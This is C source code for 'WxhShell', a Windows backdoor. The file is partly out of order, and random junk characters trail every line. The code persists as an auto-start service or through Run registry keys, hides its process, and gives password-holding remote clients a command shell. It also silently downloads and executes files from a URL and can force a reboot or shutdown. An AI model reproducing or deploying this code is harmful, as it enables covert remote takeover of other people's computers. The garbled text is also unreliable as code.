    if(Boot(SHUTDOWN)) LI<5;oE;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `~]ReJ!X%  
    else { feW9 >f;  
    closesocket(wsh); *n'x S L  
    ExitThread(0); MX0B$yc$  
    } &Kp+8D*  
    break; [E~TYk;  
    } UIj/Id  
  // 获取shell T_Y}1n|7[  
  case 's': { n_Y]iAoc`  
    CmdShell(wsh); s- V$N  
    closesocket(wsh); 7$=@q|$  
    ExitThread(0); ~m?~eJK#a  
    break; OJ 5 !+#>  
  } (FYJ^o  
  // 退出 WCu%@hh=h  
  case 'x': { ZRm\d3x4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z5[:Zf?h7J  
    CloseIt(wsh); !S-U8KI|  
    break; AyO|9!F@A  
    } N=wy)+  
  // 离开 }2,#[m M  
  case 'q': { |=T<WU1$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J"%}t\Q  
    closesocket(wsh); "%t`I)  
    WSACleanup(); s*~o%emw  
    exit(1); I7^X;Q F  
    break; ]?`p_G3O  
        } QJM!Wx+  
  } X2YOD2<v  
  } l|em E ^  
XSjelA?  
  // 提示信息 W? ||9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X$iJ|=vW  
} qjzW9yV+  
  } Ef!p:HBJ  
>o#wP  
  return; jY+S,lD  
} GTe:k  
*yq]  
// shell模块句柄 .{ a2z*o  
int CmdShell(SOCKET sock) X\2hKUkT  
{ s[@>uP  
STARTUPINFO si; "ak9LZQ9z  
ZeroMemory(&si,sizeof(si)); '#PqI)P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  &Z!K]OSY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X/K)kIi  
PROCESS_INFORMATION ProcessInfo; M03i4R@h(  
char cmdline[]="cmd"; D8AIV K]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,nB3c5X)|  
  return 0; ,]_(-tyN|  
} Pph8"`mv.m  
~!:Sp_y  
// 自身启动模式 *8.@aX3  
int StartFromService(void) EvqAi/(g  
{ =Z .V+4+  
typedef struct apD=>O  
{ pNE\@U|4E  
  DWORD ExitStatus; 9_WPWFO  
  DWORD PebBaseAddress; _OU.JrqC  
  DWORD AffinityMask; tWSvxGCzn%  
  DWORD BasePriority; -F+P;S  
  ULONG UniqueProcessId; wYO"znd  
  ULONG InheritedFromUniqueProcessId; BT#=Xh  
}   PROCESS_BASIC_INFORMATION; &M3ES}6  
UcLNMn|  
PROCNTQSIP NtQueryInformationProcess; f./m7TZ  
=PFR{=F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }{wTlR.]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f UF;SqT  
l P$r   
  HANDLE             hProcess; mk%"G=w  
  PROCESS_BASIC_INFORMATION pbi; Ly)(_Tp@+  
{#1j"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,> (bt%b  
  if(NULL == hInst ) return 0; vf'cx:m  
-<51CDw,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MO~~=]Y'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w~$c= JO#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uc&6=5~Ys\  
d]7|v r]  
  if (!NtQueryInformationProcess) return 0; XnE %$NJ  
iL0jpa<}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xdL/0 N3  
  if(!hProcess) return 0; 2&gd"Ak(  
d2A wvP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2fzKdkJhe  
C,{F0-D  
  CloseHandle(hProcess); 7bonOt Y  
lHcZi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `&u<aLA  
if(hProcess==NULL) return 0; rmPne8D=c(  
A-a17}fta  
HMODULE hMod; i5 L:L  
char procName[255]; >,>;)B@J  
unsigned long cbNeeded; ,G[r+4|h  
vXy uEEe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7`b lGzP_  
YgfSC}a  
  CloseHandle(hProcess); =de<WoKnu2  
<AI>8j6#B  
if(strstr(procName,"services")) return 1; // 以服务启动 O->_/_  
7_Ba3+9jpa  
  return 0; // 注册表启动 *?_qE  
} NqJ<!q)  
r"{Is?yKe  
// 主模块 5c: '>  
int StartWxhshell(LPSTR lpCmdLine) zBk_-'z  
{ jDlA<1  
  SOCKET wsl; X0y?<G1( a  
BOOL val=TRUE; ^oQekga\l  
  int port=0; LkJ$aW/  
  struct sockaddr_in door; O9t=lrYV!  
@J-plJ4e  
  if(wscfg.ws_autoins) Install(); 1@A7h$1P  
Md8(`@`o  
port=atoi(lpCmdLine); 7$(_j<o`  
G*i.a*9<)  
if(port<=0) port=wscfg.ws_port; 5oz>1  
= :Po%Z%{  
  WSADATA data; T>#TDMU#Fm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a(8>n Z,V  
W1xf2=z`)T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DpA\r_D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }*iAE>;  
  door.sin_family = AF_INET; ;"1/#CY773  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0jBKCu  
  door.sin_port = htons(port); ZV!R#Xv  
Uh|TDuM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qE>i,|rP`  
closesocket(wsl); I+0c8T(:  
return 1; fO*)LPen.z  
} ?E % +}P  
xM&EL>m>L  
  if(listen(wsl,2) == INVALID_SOCKET) { k_]\(myq  
closesocket(wsl); F?7u~b|@{  
return 1; /sy-;JDnsu  
} FyCBN tCv  
  Wxhshell(wsl); T3=(`  
  WSACleanup(); X$/E>I  
sNL+F  
return 0; x'@W=P 7   
M9gOoYf,~  
} <BSSa`N`  
P"b8!k?  
// 以NT服务方式启动 8Bq-0=E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cI5N"U@yN  
{ 9 +}cE**=d  
DWORD   status = 0; +a-D#^ 2;  
  DWORD   specificError = 0xfffffff; Qe_+r(3)k  
oWI!u 5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \UOm]z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6_WmCtvF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a_Jb> }  
  serviceStatus.dwWin32ExitCode     = 0; -!l^]MU  
  serviceStatus.dwServiceSpecificExitCode = 0; byafb+x  
  serviceStatus.dwCheckPoint       = 0; C ck#Y  
  serviceStatus.dwWaitHint       = 0; 1t.R+1[c  
a~,Kz\Tt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 975 _d_U  
  if (hServiceStatusHandle==0) return; #00D?nC  
I`NUurQTX  
status = GetLastError(); 0Q7MM6  
  if (status!=NO_ERROR) 8&%Cy'TIz4  
{ "e@n:N!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; })P O7:  
    serviceStatus.dwCheckPoint       = 0; :<H8'4>  
    serviceStatus.dwWaitHint       = 0; 19p8B&  
    serviceStatus.dwWin32ExitCode     = status; 6AAswz'$P  
    serviceStatus.dwServiceSpecificExitCode = specificError; TKo<~?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }-74 f  
    return; ?pqU3-knH  
  } GV5qdD(  
`Ug tvo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~ ltg  
  serviceStatus.dwCheckPoint       = 0; ET.dI.R8  
  serviceStatus.dwWaitHint       = 0; @MOCug4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _lX8K:C(  
} DHv2&zH  
s9i|mVtm8  
// 处理NT服务事件,比如:启动、停止 U7h(-dV   
VOID WINAPI NTServiceHandler(DWORD fdwControl) RU|X*3";T  
{ JaI Kjn  
switch(fdwControl) FAw1o  
{ lI6W$V\,  
case SERVICE_CONTROL_STOP: WI&lj<*  
  serviceStatus.dwWin32ExitCode = 0; doR4nRl9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H:Y&OZ  
  serviceStatus.dwCheckPoint   = 0; W:vr@e6  
  serviceStatus.dwWaitHint     = 0; FshC )[w,  
  { )c+k_;t'+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D:9 2\l  
  } m(_9<bc>  
  return; wXbsS)#/  
case SERVICE_CONTROL_PAUSE: e)b%`ntF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oL-2qtv  
  break;  q=4Bny0  
case SERVICE_CONTROL_CONTINUE: >g}G}=R~3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R/~,i;d>  
  break; R,,Qt TGB  
case SERVICE_CONTROL_INTERROGATE: `*_CElpP"  
  break; 59lj7  
}; wd+K`I/v7h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :o8MUXH$  
} g`[$Xi R  
fd1C {^c  
// 标准应用程序主函数 a <wL#Id  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wk @,wOt  
{ "HK/u(z)  
h/m6)m.D  
// 获取操作系统版本 `q_<Im%I  
OsIsNt=GetOsVer(); fzPZ|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NBOCt)C;H  
Ch5+N6c^  
  // 从命令行安装 *eb-rhCVn  
  if(strpbrk(lpCmdLine,"iI")) Install(); U>Gg0`>  
GBQn_(b9I  
  // 下载执行文件 s&Yi 6:J  
if(wscfg.ws_downexe) { @ D[`Oj)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L0"~[zB]N  
  WinExec(wscfg.ws_filenam,SW_HIDE); iqPBsIW  
} uQ3[Jz`y  
/+[63=fl  
if(!OsIsNt) { %l !xkCKA  
// 如果时win9x,隐藏进程并且设置为注册表启动 J2M(1g)t9  
HideProc(); Mvcfk$pA  
StartWxhshell(lpCmdLine); <+tD z(  
} {' 5qv@3  
else cUk*C  
  if(StartFromService()) DL8x":;  
  // 以服务方式启动 n7! H:{L  
  StartServiceCtrlDispatcher(DispatchTable); !#N\ b  
else ^}$O|t  
  // 普通方式启动 2`bdrRD0  
  StartWxhshell(lpCmdLine); g0R[xOS|  
;_+uSalt  
return 0; Q8nId<\(  
} m%r/O&g  
S Xr%kndS  
Q[u6|jRt  
K8[DZ)rO;Z  
=========================================== {?8B,G2r  
u8L$]vOg  
Wf26  
QlZ@ To  
)"<8K}%!  
@N.jB#nEb  
" ftbpqp'  
[\e@_vY@OH  
#include <stdio.h> -:Rp'SJ  
#include <string.h> SNpi=K!yn  
#include <windows.h> Ud(`V:d  
#include <winsock2.h> tkKJh !Q7  
#include <winsvc.h> m`A% p  
#include <urlmon.h> rZ03x\2  
xL "!~dN  
#pragma comment (lib, "Ws2_32.lib") +9A\HQ|22  
#pragma comment (lib, "urlmon.lib") !{%:qQiA  
_}6q{}jn:c  
#define MAX_USER   100 // 最大客户端连接数 4'>1HW  
#define BUF_SOCK   200 // sock buffer `` K#}3  
#define KEY_BUFF   255 // 输入 buffer f'Mop= .  
6g:|*w  
#define REBOOT     0   // 重启 lS5ny  
#define SHUTDOWN   1   // 关机 r6.d s^  
V!/:53  
#define DEF_PORT   5000 // 监听端口 5Rv+zQ#GR  
6" B%)0  
#define REG_LEN     16   // 注册表键长度 ?&+9WJ<M  
#define SVC_LEN     80   // NT服务名长度 Xl-e !  
 :$r ^_  
// 从dll定义API TLa]O1=Bf.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $.E6S<(h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q[4: xkU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2-+f1,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3R$Z[D-  
b{7E;KyY,  
// wxhshell配置信息 )7cb6jCU  
struct WSCFG { [U{UW4  
  int ws_port;         // 监听端口 5g5'@vMN  
  char ws_passstr[REG_LEN]; // 口令 5jcte< 5I_  
  int ws_autoins;       // 安装标记, 1=yes 0=no n~IVNB*  
  char ws_regname[REG_LEN]; // 注册表键名 ~aK?cP  
  char ws_svcname[REG_LEN]; // 服务名 (g!p>m!Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 es:2M |#O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DvXHK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K95;rd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |AZW9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qx3eLfm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3,X/,'  
,El!fgL  
}; ._Zt=jB  
+K",^6%1  
// default Wxhshell configuration pJIv+  
struct WSCFG wscfg={DEF_PORT, F =a+z/xKT  
    "xuhuanlingzhe", 7;:#;YS ha  
    1, q>!L6h5]t  
    "Wxhshell", B^ 7eoW  
    "Wxhshell", "\%On >  
            "WxhShell Service", F"+o@9]  
    "Wrsky Windows CmdShell Service", pL1i|O  
    "Please Input Your Password: ", *Nb#W!  
  1, $rB3m~c|  
  "http://www.wrsky.com/wxhshell.exe", &?,U_)x/  
  "Wxhshell.exe" 6=_~ 0PcY  
    }; yBpk$  
m|tC24  
// 消息定义模块 Wzq>JNn y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b&) 5:&MI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }j5 a[L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Njc%_&r  
char *msg_ws_ext="\n\rExit."; w0m^ &,;#  
char *msg_ws_end="\n\rQuit."; NcS.49  
char *msg_ws_boot="\n\rReboot..."; .1 )RW5|c  
char *msg_ws_poff="\n\rShutdown..."; UKd'+R]  
char *msg_ws_down="\n\rSave to "; 3L>IX8_   
e0,'+;*=g  
char *msg_ws_err="\n\rErr!"; }Rvm &?~O  
char *msg_ws_ok="\n\rOK!"; gbBy/_b  
\`.F\ Z  
char ExeFile[MAX_PATH]; >zvY\{WY  
int nUser = 0; gApoX0nrv  
HANDLE handles[MAX_USER]; `1` f*d v  
int OsIsNt; l*aj#%ha  
;#+0L$<t  
SERVICE_STATUS       serviceStatus; MZv]s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [onqNp  
\BV 0zKd  
// 函数声明 le)DgIT>=  
int Install(void); _;9!  
int Uninstall(void); \0;(VLN'U  
int DownloadFile(char *sURL, SOCKET wsh); 0BPMmk  
int Boot(int flag); K<sC F[  
void HideProc(void); '!h/B;*(  
int GetOsVer(void); m4w ') r~  
int Wxhshell(SOCKET wsl); V3N0Og3  
void TalkWithClient(void *cs); l;X|=eu'  
int CmdShell(SOCKET sock); V\~WvV  
int StartFromService(void); PaB!,<A  
int StartWxhshell(LPSTR lpCmdLine); M(q'%XL^  
_W!p8cB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FN[R(SLbL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }u{gR:lZ  
@DAF 6ygs  
// 数据结构和表定义 ~ AQp|  
SERVICE_TABLE_ENTRY DispatchTable[] =  4-Z()F  
{ |+IZS/W"  
{wscfg.ws_svcname, NTServiceMain}, !LM<:kf.|  
{NULL, NULL} Bvjl-$m!v  
}; Y$8JM  
R>@uY( >dJ  
// 自我安装 ~}ml*<z@  
int Install(void) I8Vb-YeS  
{ R\Z: n*  
  char svExeFile[MAX_PATH]; ~|Y>:M+0Z  
  HKEY key; u'A#%}3  
  strcpy(svExeFile,ExeFile); ~`#-d ^s:  
6 &U+6gb  
// 如果是win9x系统,修改注册表设为自启动 xFv;1Q  
if(!OsIsNt) { W1aa:hEf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >k7q g$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'BMy8  
  RegCloseKey(key); qAkx<u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \[2lvft!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  r}_c  
  RegCloseKey(key); lb' Cl3H  
  return 0; ^D67y%  
    } W{cY6@  
  } ^,Ydr~|T  
} tCF&OOI4`  
else { 8t"~Om5sG  
bEuaOBc  
// 如果是NT以上系统,安装为系统服务 X*oMFQgP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9X<OJT;3J  
if (schSCManager!=0) Ma-\^S=  
{ )o _j]K+xI  
  SC_HANDLE schService = CreateService g\A y`.s  
  ( uUR~&8ERX  
  schSCManager, cvsz%:Vs  
  wscfg.ws_svcname, Jc4L5*Xn/  
  wscfg.ws_svcdisp, mZk0@C&:6  
  SERVICE_ALL_ACCESS, ER&UBUu"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o;F" {RZ  
  SERVICE_AUTO_START, :HViX:]H  
  SERVICE_ERROR_NORMAL, [Bb utGvj  
  svExeFile, f6<g3Q7Mu  
  NULL, T".]m7!  
  NULL, $9 p!Y}  
  NULL, 3. WF}8  
  NULL, i?;r7>  
  NULL I XA>`D  
  ); 6&v? )o  
  if (schService!=0) aiCFH_H4;L  
  { WUdKLx %F  
  CloseServiceHandle(schService); .?C%1a&_l  
  CloseServiceHandle(schSCManager); W\*-xf|"d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hq&"+1F  
  strcat(svExeFile,wscfg.ws_svcname); ihL/n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r WtZj}A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uw\1b.r'B  
  RegCloseKey(key); -!qu"A:  
  return 0; R_P}~l  
    } Zzua17  
  } yQS+P8x&|]  
  CloseServiceHandle(schSCManager); |Q~cX!;  
} sf} Dh  
} JD>d\z2QC  
`\>.h  
return 1; b}ODWdJ1  
}  84zTCX  
%9C@ Xl  
// 自我卸载 wHjLd$ +o  
int Uninstall(void) ~iBgw&Y  
{ KP;(Q+qTx  
  HKEY key; EC&@I+'8Q  
59uwB('|lH  
if(!OsIsNt) { wJb#g0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ge3sU5iZ  
  RegDeleteValue(key,wscfg.ws_regname); !4"sX+z9  
  RegCloseKey(key); zZ-wG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?VU(Pq*`  
  RegDeleteValue(key,wscfg.ws_regname); R$kpiqK  
  RegCloseKey(key); ;#GoGb4AM  
  return 0; ~`;rNnOT3  
  } ` >!n  
} W|k0R4K]]  
} wu<])&F  
else { Rx36?/  
W) j|rz.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nb2Qp K  
if (schSCManager!=0) (oK^c- x  
{ DH DZ_t:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vpfp}pL  
  if (schService!=0) `7aDEzmJ  
  { /e\{    
  if(DeleteService(schService)!=0) { egR9AEJvz  
  CloseServiceHandle(schService); jkAAqRR  
  CloseServiceHandle(schSCManager); ~wnOV#v  
  return 0; R)?{]]v  
  } %,@vWmn  
  CloseServiceHandle(schService); `D( xv  
  } C`rLj5E%  
  CloseServiceHandle(schSCManager); Mkp/0|Q*  
} Y/TlE?  
} Y-piL8Xc  
;wiao(t>4N  
return 1; z><5R|Gf  
} {eJt,[Y *  
A|#`k{+1-  
// 从指定url下载文件 <[aDo%,A  
int DownloadFile(char *sURL, SOCKET wsh) _s,ao '/  
{ TG48%L  
  HRESULT hr; 80}+MWdo  
char seps[]= "/"; &ej8mq"\  
char *token; [@ <sFP;g  
char *file; 2 gq$C"  
char myURL[MAX_PATH]; 14eW4~Mr  
char myFILE[MAX_PATH]; 9Ywpej*+  
e;bYaM4 UX  
strcpy(myURL,sURL); )CPM7>  
  token=strtok(myURL,seps); B@Co'DV[/]  
  while(token!=NULL) RT/o$$  
  { #BVtL :x@  
    file=token; snM Z0W  
  token=strtok(NULL,seps); p1pQU={<  
  } :pX`?Ew`g  
Z#d&|5Xj  
GetCurrentDirectory(MAX_PATH,myFILE); 8eIUsI.o  
strcat(myFILE, "\\"); {yAL+}  
strcat(myFILE, file); Zv]x'3J#Y  
  send(wsh,myFILE,strlen(myFILE),0); V~DMtB7  
send(wsh,"...",3,0); <Tw>|cFT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^{$FI`P  
  if(hr==S_OK) mpC`Yk  
return 0; Kemw^48ts  
else NvE}eA#  
return 1; ' #NcZy  
p;)"  
} !1T\cS#1%  
c@[:V  
// 系统电源模块 0<"k8 k@J  
int Boot(int flag) CHd9l]Rbe  
{ ,H}_%}10  
  HANDLE hToken; T#%/s?_>.  
  TOKEN_PRIVILEGES tkp; q>f<u&  
r0t^g9K0  
  if(OsIsNt) { #1c]PX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8,D 2^Gg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q/3ziVd7p  
    tkp.PrivilegeCount = 1; %98' @$:0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c0c|z Ym  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AWjJ{#W>9  
if(flag==REBOOT) { 'ckQg=zPR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h'J|K^na  
  return 0; =4uSFK_L  
} :.(;<b<\  
else { M7f;Pa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nKR{ug>I)  
  return 0; @uo ~nFj,  
} E r/bO  
  } j.a`N2]WE  
  else { ZZ QG?("S'  
if(flag==REBOOT) { KKA~#iCk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (>J4^``x=  
  return 0; %6 Q4yk  
} 4tg<iH{  
else { i'stw6*J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vz14j_  
  return 0; 01!s"wjf  
} 3mPjpm  
} Sxjub&=  
Va Z!.#(P  
return 1; ld$i+6|   
} !=;XBd-  
r "$.4@gc  
// win9x进程隐藏模块 6y%0`!  
void HideProc(void) $/Aj1j`"9+  
{ 9nu3+.&P  
A+@&"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !4]9!<.k  
  if ( hKernel != NULL ) 4|A>b})H  
  { v}WR+)uFQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kd"N 29  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @FdSFQ/9  
    FreeLibrary(hKernel); ;lYHQQd!,  
  } VDTcR  
c8Z wr]DF  
return; )M2F4[vcb  
} -OSa>-bzNx  
Dk48@`l2  
// 获取操作系统版本 tTd\|  
int GetOsVer(void) p~LrPWHSTP  
{ <\?wAjc,  
  OSVERSIONINFO winfo; (sWLhUgRX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -G6U$  
  GetVersionEx(&winfo); +iOKbc'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VK@!lJ u!  
  return 1; `~eUee3b.~  
  else 'vNG(h#%d  
  return 0; 36US5ef  
} $1ndKB8)`J  
}1IpON  
// 客户端句柄模块 3_A *$  
int Wxhshell(SOCKET wsl) XrZ*1V  
{ V59(Z  
  SOCKET wsh; <$JaWL  
  struct sockaddr_in client; (XoH,K?{z  
  DWORD myID; vm>b m  
I!^O)4QRx  
  while(nUser<MAX_USER) w3$   
{ $ImrOf^qt  
  int nSize=sizeof(client); J=/5}u_gw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :6%Z]tt  
  if(wsh==INVALID_SOCKET) return 1; '] +Uu'a  
v$^Z6>vVI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }f2r!7:x  
if(handles[nUser]==0) 5atYOep  
  closesocket(wsh); G8Du~h!!U  
else * RtgC/  
  nUser++; {s;U~!3aY  
  } (y^vqMz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +@r*}  
bV"G~3COy  
  return 0; 1@$Ko5  
} G}p\8Q}'  
}\C-} Q  
// 关闭 socket = 9 T$Gr  
void CloseIt(SOCKET wsh) c [5KG}  
{ ^aW Z!gi  
closesocket(wsh); a0Zv p>Ft  
nUser--; 33}oO,}t,  
ExitThread(0); aM;W$1h  
} Q$fmD  
!^ _ "~  
// 客户端请求句柄 M8u<qj&<O  
void TalkWithClient(void *cs) yDGVrc'  
{ fDP$ sW  
.aflsUD  
  SOCKET wsh=(SOCKET)cs; KZeQ47|  
  char pwd[SVC_LEN]; $cZUM}@  
  char cmd[KEY_BUFF]; jq!tT%o*B  
char chr[1]; 4!wR_@W^El  
int i,j; 9HX =T%  
y a_<^O 9  
  while (nUser < MAX_USER) { Nr=d<Us9f  
e zOj+vz  
if(wscfg.ws_passstr) { n..g~ $k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Sr?#S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8}(]]ayl  
  //ZeroMemory(pwd,KEY_BUFF); d \35a4l  
      i=0; '{B!6|"X  
  while(i<SVC_LEN) { %D[0nt|X  
[VWUqlNt>  
  // 设置超时 hh[jN 7K  
  fd_set FdRead; ERN>don2  
  struct timeval TimeOut; ,tg0L$qC  
  FD_ZERO(&FdRead); CH<E,Z C1T  
  FD_SET(wsh,&FdRead); gatB QwJb9  
  TimeOut.tv_sec=8; Z R'H \Z  
  TimeOut.tv_usec=0; Q6r7.pk"SU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2j&AiD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]H1I,`=@  
fX|Y;S-@+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]i)j3 WDz]  
  pwd=chr[0]; \~_9G{2?  
  if(chr[0]==0xd || chr[0]==0xa) { $ O5UyKI  
  pwd=0; f1(+ bE%  
  break; 10U9ZC  
  } 0xXC^jx:  
  i++; L{`JRu  
    } Ho *AAg  
y?q*WUh  
  // 如果是非法用户,关闭 socket xoR;=ph  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c=`wg$2:5  
} 5O6hxcMjT  
W}]%X4<#rN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q')R4=0 K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [2{1b`e  
J":,Vd!*-  
while(1) { IyLx0[:U  
= MOj|NR [  
  ZeroMemory(cmd,KEY_BUFF); (#E.`e1#6  
ok4@N @  
      // 自动支持客户端 telnet标准   '^"6+k  
  j=0; 1[vi.  
  while(j<KEY_BUFF) { }x wu*Zx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X<%Q"2hW  
  cmd[j]=chr[0]; '&|=0TDd+  
  if(chr[0]==0xa || chr[0]==0xd) { A`}rqhU.{-  
  cmd[j]=0; $"H{4 x`-  
  break; PuZf/um  
  } E!P yL>){  
  j++; aWY gR  
    } \9g+^vQg  
;h jwD  
  // 下载文件 y)@[Sl>  
  if(strstr(cmd,"http://")) { <fFTY130:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )}?#  
  if(DownloadFile(cmd,wsh)) Oal3rb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7F{3*`/6  
  else =^5Alb a/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >b{q.  
  } y`XU~B)J1  
  else { ] A+?EE2/  
+lMX{es\O  
    switch(cmd[0]) { ptZ <ow&  
